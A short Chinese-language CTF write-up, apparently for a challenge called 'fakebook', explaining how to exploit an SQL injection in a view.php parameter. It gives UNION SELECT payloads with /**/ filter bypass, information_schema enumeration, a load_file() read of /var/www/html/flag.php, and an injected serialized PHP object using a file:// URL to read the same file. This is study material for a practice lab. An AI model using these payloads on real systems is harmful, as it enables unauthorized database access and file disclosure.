打开链接
是一个类似博客的界面,有登录和注册,考虑sql注入,先注册吧
注册后用户名可以点击
会发现url栏/view.php?no=1,估计在这里注入,试了一下,存在注入点
order by 4回显正常,5不行,所以4列
用union select注入,但是被过滤了
百度可以用/**/注释符绕过,
no=-1 union/**/select 1,2,3,4#
从unserialize()可以看出,数据保存时序列化,输出反序列化,显示在博客界面。
还有文件的绝对路径/var/www/html/
直接注入吧,
查库名
no=-1 union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata --+
得到数据库fakebook,information_schema,mysql,performance_schema,test
查表名
no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=“fakebook”–+
得到表名user
查字段
no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=“fakebook”–+
查字段信息的时候却发现被反序列化
no=-1 union/**/select 1,group_concat(data),3,4 from fakebook.users --+
既然这样,bp抓包看能不能把flag.php得到
1,payload: union/**/select 1,load_file("/var/www/html/flag.php"),3,4
2,payload: no=-1 union/**/select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:1:“1”;s:3:“age”;i:1;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}’
base64解码
得到flag
知识点:sql注入+反序列化
参考文章:https://segmentfault.com/a/1190000022897688
2020.8.4 公瑾